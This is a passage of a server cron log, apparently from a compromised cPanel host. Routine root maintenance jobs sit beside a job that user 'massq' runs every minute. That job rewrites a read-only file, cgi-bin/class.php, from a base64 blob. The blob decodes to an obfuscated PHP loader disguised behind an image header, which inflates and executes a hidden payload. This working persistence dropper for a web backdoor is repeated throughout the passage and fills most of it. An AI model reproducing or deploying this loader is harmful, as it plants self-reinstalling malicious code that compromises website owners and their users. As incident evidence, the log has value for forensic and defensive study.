"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:00:01 server CROND[32498]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 17:01:01 server CROND[32635]: (root) CMD (run-parts /etc/cron.hourly)
Apr  7 17:01:01 server CROND[32636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:01:01 server run-parts(/etc/cron.hourly)[32635]: starting 0anacron
Apr  7 17:01:01 server run-parts(/etc/cron.hourly)[32648]: finished 0anacron
Apr  7 17:02:01 server CROND[32708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:03:01 server CROND[319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:04:01 server CROND[492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:05:01 server CROND[560]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 17:05:01 server CROND[561]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 17:05:01 server CROND[565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:05:01 server CROND[567]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  7 17:05:01 server CROND[564]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 17:06:02 server CROND[767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:07:01 server CROND[853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:08:01 server CROND[914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:09:01 server CROND[1077]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 17:09:01 server CROND[1078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:10:01 server CROND[1141]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 17:10:01 server CROND[1143]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 17:10:01 server CROND[1144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:10:01 server CROND[1142]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 17:11:01 server CROND[1321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:12:01 server CROND[1452]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 17:12:01 server CROND[1453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:13:01 server CROND[1512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4